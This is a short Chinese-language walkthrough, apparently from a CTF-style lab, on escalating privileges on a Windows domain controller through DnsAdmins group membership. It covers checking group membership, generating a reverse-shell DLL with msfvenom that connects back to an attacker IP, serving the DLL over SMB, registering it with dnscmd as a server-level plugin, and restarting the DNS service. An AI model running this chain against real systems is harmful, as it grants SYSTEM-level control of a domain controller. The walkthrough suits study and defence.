简介
通过DnsAdmins用户组可写入恶意dll,重启dns服务器即可执行恶意dll。
漏洞产生的原因
DnsAdmins用户组官方介绍,
查看用户所在的用户组
- 1.输入
net user <usernaame> /domain
,查看 - 2.输入
whoami /groups
查看
net user
1 | $ net user yran /domain |
用户所在的组为:Domain Users、Contractors
whomi /groups
1 | *Evil-WinRM* PS C:\Users\ryan\Documents> whoami /groups |
用户所在的组:Everyone、Users、Pre-Windows 2000 Compatible Access、Remote Management Users、NETWORK、Authenticated Users、This Organization、Contractors、DnsAdmins、NTLM Authentication
从两条命令的输出发现,域用户组的数量不一致,net user
可以查看到全局用户组Domain Users
,但未查询到本地用户组DnsAdmins
生成恶意DLL文件
1 | $ msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.43.100 LPORT=4444 -f dll > privesc.dll |
传输dll文件到受害者机器
1 | $ sudo python smbserver.py <shareName> <path/of/share> |
启动smb服务后,在本地使用smbclient尝试访问smb服务,查看是否可以成功访问
1 | $ smbclient -L <target ip> --no-pass |
注入dll文件提权
修改配置
查看主机名hostname
1 | $ dnscmd <FQDN of DC or servername> /config /serverlevelplugindll \\UNC_path |
检查配置是否写入成功
1 | PS C:\> Get-ItemProperty |
重启dns服务
sc.exe后跟的servername需要加\\
前缀
1 | $ sc.exe <FQDN of DC> stop dns |
dnscmd
1 | *Evil-WinRM* PS C:\Users\ryan\Documents> dnscmd |